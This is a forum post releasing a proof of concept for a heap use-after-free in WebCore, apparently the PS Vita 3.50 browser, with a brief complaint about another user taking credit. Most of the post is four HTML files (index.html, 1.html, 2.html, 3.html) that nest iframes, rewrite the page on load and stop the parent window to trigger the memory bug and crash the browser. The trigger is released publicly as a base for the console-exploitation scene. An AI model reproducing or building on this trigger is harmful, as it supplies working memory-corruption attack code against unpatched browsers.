heap use-after-free at WebCore - 3.50 POC

Post by Hunter128 » Sat May 21, 2016 12:09 pm

Hello. Appears this needs to be posted public.. Not sure who felt the need to want fame for this cough "Qwerty" but that's the last time i am sharing something special like this. Anyone hoping for advancements for the ps vite scene you can blame this guy on why because i am no longer sharing anything.

Anywho make an index.html

Code: Select all

<html>
  <body onload='runTest()'>
    <script>
      function runTest(){
	    document.writeln('<html></html>');
      }
    </script>
  <iframe src='1.html'></iframe>
  </body>
</html>
1.html

Code: Select all

<html>
  <iframe src='2.html'></iframe>
  <iframe src='3.html'></iframe>
</html>
2.html

Code: Select all

<html>
  <script>
      window.parent.stop();
  </script>
</html>
3.html

Code: Select all

<html>
</html>
Should cause a out of memory error.

Shoutout to no one.. I have no friends :o
